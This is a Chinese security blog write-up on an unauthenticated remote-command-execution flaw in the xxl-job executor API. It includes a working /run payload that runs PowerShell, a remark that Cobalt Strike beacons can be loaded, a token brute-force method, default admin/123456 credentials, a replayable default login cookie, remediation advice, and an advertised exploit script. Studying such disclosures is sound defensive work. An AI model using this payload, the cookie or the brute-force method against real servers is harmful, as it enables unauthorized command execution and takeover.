开篇废话
我很喜欢ASRC某位大佬说过的一句话:挖洞的本质就是信息收集。
一些开源项目的官方文档我们可以挖掘到很多有用信息,比如API利用、默认口令、硬编码等。
本文主要以提供思路为目的,现在网上已经公开xxl-job未授权rce漏洞。
在GitHub上能看到xxl-job与官网公开的文档。
首先我们先通过官方文档进行信息收集,了解这个东西是干嘛的,已经公开API,最后再通过分析源码,发现漏洞。下面是从官方文档获取的信息。
官方文档:https://www.xuxueli.com/xxl-job/
0x01 了解项目
工作原理:
xxl-job调度平台是一个分布式管理平台,通过调度平台可以设置定时任务,批量处理等分配给执行器执行。
功能:
1、可以执行脚本(支持以GLUE模式开发和运行脚本任务,包括Shell、Python、NodeJS、PHP、PowerShell等类型脚本)
2、原生提供通用命令行任务Handler(Bean任务,”CommandJobHandler”);业务方只需要提供命令行即可
其它的都是线程、数据加密等方面的,对我们用处不大,就略过了。
源码仓库地址
https://github.com/xuxueli/xxl-job
http://gitee.com/xuxueli0323/xxl-job
部署方面这里也不谈了,节约时间,有兴趣的自己去看文档搭建
xxl-job整个平台有两个项目一个是调度中心,一个是执行器
调度中心:
调度中心项目:xxl-job-admin
作用:统一管理任务调度平台上调度任务,负责触发调度执行,并且提供任务管理平台。
执行器:
“执行器”项目:xxl-job-executor-sample-springboot (提供多种版本执行器供选择,现以 springboot 版本为例,可直接使用,也可以参考其并将现有项目改造成执行器)
作用:负责接收“调度中心”的调度并执行;可直接部署执行器,也可以将执行器集成到现有业务项目中。
信息收集差不多到这里了,文档也就介绍了这么多,下面是看配置文件,有没有初始默认口令以及未授权等。
从上可以看出,调度中心可以管理任务,并无直接执行命令的功能,而执行器才是执行脚本命令的关键。
0x02 分析项目
下面是调度中写配置,未发现有什么敏感信息及可利用。
此处发现有个“xxl.job.accessToken=“,猜测他应该也是鉴权有关,但是通过源码发现存在session校验,先记录。
好家伙,发现了一个问题,搭建后默认口令admin/123456,如果管理员未修改口令我们就可以登录后台去创建脚本任务执行命令了。这个实际中就得看运气了。
调度中心 RESTful API
API服务位置:com.xxl.job.core.biz.AdminBiz ( com.xxl.job.admin.controller.JobApiController )
API服务请求参考代码:com.xxl.job.adminbiz.AdminBizTest
任务回调
说明:执行器执行完任务后,回调任务结果时使用 ------ 地址格式:{调度中心跟地址}/callback Header: XXL-JOB-ACCESS-TOKEN : {请求令牌} 请求数据格式如下,放置在 RequestBody 中,JSON格式: [{ "logId":1, // 本次调度日志ID "logDateTim":0, // 本次调度日志时间 "executeResult":{ "code": 200, // 200 表示任务执行正常,500表示失败 "msg": null } }] 响应数据格式: { "code": 200, // 200 表示正常、其他失败 "msg": null // 错误提示消息 }
执行器注册
说明:执行器注册时使用,调度中心会实时感知注册成功的执行器并发起任务调度 ------ 地址格式:{调度中心跟地址}/registry Header: XXL-JOB-ACCESS-TOKEN : {请求令牌} 请求数据格式如下,放置在 RequestBody 中,JSON格式: { "registryGroup":"EXECUTOR", // 固定值 "registryKey":"xxl-job-executor-example", // 执行器AppName "registryValue":"http://127.0.0.1:9999/" // 执行器地址,内置服务跟地址 } 响应数据格式: { "code": 200, // 200 表示正常、其他失败 "msg": null // 错误提示消息 }
执行器注册摘除
说明:执行器注册摘除时使用,注册摘除后的执行器不参与任务调度与执行 ------ 地址格式:{调度中心跟地址}/registryRemove Header: XXL-JOB-ACCESS-TOKEN : {请求令牌} 请求数据格式如下,放置在 RequestBody 中,JSON格式: { "registryGroup":"EXECUTOR", // 固定值 "registryKey":"xxl-job-executor-example", // 执行器AppName "registryValue":"http://127.0.0.1:9999/" // 执行器地址,内置服务跟地址 } 响应数据格式: { "code": 200, // 200 表示正常、其他失败 "msg": null // 错误提示消息 }
从公开调度中心API看到了“XXL-JOB-ACCESS-TOKEN : {请求令牌}”,说明是靠XXL-JOB-ACCESS-TOKEN进行API鉴权,不过调度中心的API并没啥用。调度中心似乎也没啥可以利用的了,我们还是看主要执行命令的执行器吧。
下面是执行器配置,一眼就看到了“XXL-JOB-ACCESS-TOKEN : {请求令牌}”,因为执行器都是通过调度中心控制的,没有web页面,它会是怎么处理调度器给自己的指令呢?这时候我的大脑第一反应就是通过API ,文档往后翻也看得到官方公开的执行器API。先不要激动,我们暂时还不能那他做什么,先看看配置文件。
这里面的参数大部分都是注册调度中心的信息。这里“XXL-JOB-ACCESS-TOKEN : {请求令牌}”,执行器通讯TOKEN [选填]:非空时启用。这句话很关键,下图是官方源码默认配置,默认是为空,那么就是不启用状态,对于开发人员他们安全意识薄弱,对于鉴权大多是直接忽略。
感觉有点东西,我们去看看API怎么说吧。下面是官方执行器API接口信息。
执行器 RESTful API
API服务位置:com.xxl.job.core.biz.ExecutorBiz
API服务请求参考代码:com.xxl.job.executorbiz.ExecutorBizTest
心跳检测
说明:调度中心检测执行器是否在线时使用 ------ 地址格式:{执行器内嵌服务跟地址}/beat Header: XXL-JOB-ACCESS-TOKEN : {请求令牌} 请求数据格式如下,放置在 RequestBody 中,JSON格式: 响应数据格式: { "code": 200, // 200 表示正常、其他失败 }
忙碌检测
说明:调度中心检测指定执行器上指定任务是否忙碌(运行中)时使用 ------ 地址格式:{执行器内嵌服务跟地址}/idleBeat Header: XXL-JOB-ACCESS-TOKEN : {请求令牌} 请求数据格式如下,放置在 RequestBody 中,JSON格式: { "jobId":1 // 任务ID } 响应数据格式: { "code": 200, // 200 表示正常、其他失败 "msg": null // 错误提示消息 }
触发任务
说明:触发任务执行 ------ 地址格式:{执行器内嵌服务跟地址}/run Header: XXL-JOB-ACCESS-TOKEN : {请求令牌} 请求数据格式如下,放置在 RequestBody 中,JSON格式: { "jobId":1, // 任务ID "executorHandler":"demoJobHandler", // 任务标识 "executorParams":"demoJobHandler", // 任务参数 "executorBlockStrategy":"COVER_EARLY", // 任务阻塞策略,可选值参考 com.xxl.job.core.enums.ExecutorBlockStrategyEnum "executorTimeout":0, // 任务超时时间,单位秒,大于零时生效 "logId":1, // 本次调度日志ID "logDateTime":1586629003729, // 本次调度日志时间 "glueType":"BEAN", // 任务模式,可选值参考 com.xxl.job.core.glue.GlueTypeEnum "glueSource":"xxx", // GLUE脚本代码 "glueUpdatetime":1586629003727, // GLUE脚本更新时间,用于判定脚本是否变更以及是否需要刷新 "broadcastIndex":0, // 分片参数:当前分片 "broadcastTotal":0 // 分片参数:总分片 } 响应数据格式: { "code": 200, // 200 表示正常、其他失败 "msg": null // 错误提示消息 }
终止任务
说明:终止任务 ------ 地址格式:{执行器内嵌服务跟地址}/kill Header: XXL-JOB-ACCESS-TOKEN : {请求令牌} 请求数据格式如下,放置在 RequestBody 中,JSON格式: { "jobId":1 // 任务ID } 响应数据格式: { "code": 200, // 200 表示正常、其他失败 "msg": null // 错误提示消息 }
查看执行日志
说明:终止任务,滚动方式加载 ------ 地址格式:{执行器内嵌服务跟地址}/log Header: XXL-JOB-ACCESS-TOKEN : {请求令牌} 请求数据格式如下,放置在 RequestBody 中,JSON格式: { "logDateTim":0, // 本次调度日志时间 "logId":0, // 本次调度日志ID "fromLineNum":0 // 日志开始行号,滚动加载日志 } 响应数据格式: { "code":200, // 200 表示正常、其他失败 "msg": null // 错误提示消息 "content":{ "fromLineNum":0, // 本次请求,日志开始行数 "toLineNum":100, // 本次请求,日志结束行号 "logContent":"xxx", // 本次请求日志内容 "isEnd":true // 日志是否全部加载完 } }
这个触发任务成功引起了我的注意,应该是执行命令类的。根据文档API构造参数试试看,果真执行命令成功。
0x03 验证漏洞
payload:
{ "jobId": 1, "executorHandler": "demoJobHandler", "executorParams": "demoJobHandler", "executorBlockStrategy": "COVER_EARLY", "executorTimeout": 0, "logId": 1, "logDateTime": 1586629003729, "glueType": "GLUE_POWERSHELL", "glueSource": "calc", "glueUpdatetime": 1586699003758, "broadcastIndex": 0, "broadcastTotal": 0 }
需要注意"glueUpdatetime",看官方怎么描述的
意思就是如果GLUE时间未改变的话,将不读取参数中命令,而是执行上次创建的任务。
判断任务逻辑:
所以每次执行不同任务则需要修改jobId或者glueUpdatetime,然后执行。
包括上线cs命令都没问题
0x04 扩展利用方式
如果对方开发人员设置了“XXL-JOB-ACCESS-TOKEN“,我们也是可以通过爆破去执行命令。
Token错误返回包
HTTP/1.1 200 OK content-type: text/html;charset=UTF-8 content-length: 47 {"code":500,"msg":"The access token is wrong."}
Token正确返回包
HTTP/1.1 200 OK content-type: text/html;charset=UTF-8 content-length: 12 {"code":200}
意外发现
用户登录cookie是固定的,此漏洞使用中间人攻击,截获数据包可利用,用户不改密码cookie一直有效。
默认cookie(admin/123456):
XXL_JOB_LOGIN_IDENTITY:7b226964223a312c22757365726e616d65223a2261646d696e222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a312c227065726d697373696f6e223a6e756c6c7d
整改建议
临时方案:XXL-JOB-ACCESS-TOKEN设置为强字符串,不易爆破
解决方案:将“XXL-JOB-ACCESS-TOKEN”修改为每次启动随机生成值,并且为强口令不易爆破。
总结
这次纯分析官方文档挖掘0day的思路,让我更坚信“渗透的本质就是信息收集“这句话。只要细心去收集信息,挖洞也不是什么难事。如有不足之处希望大佬指点。
对于漏洞复现的同学,我写了个工具。关注“凌晨安全”公众号,后台回复“xxl-job”即可获得exp一键利用脚本及编译好的环境。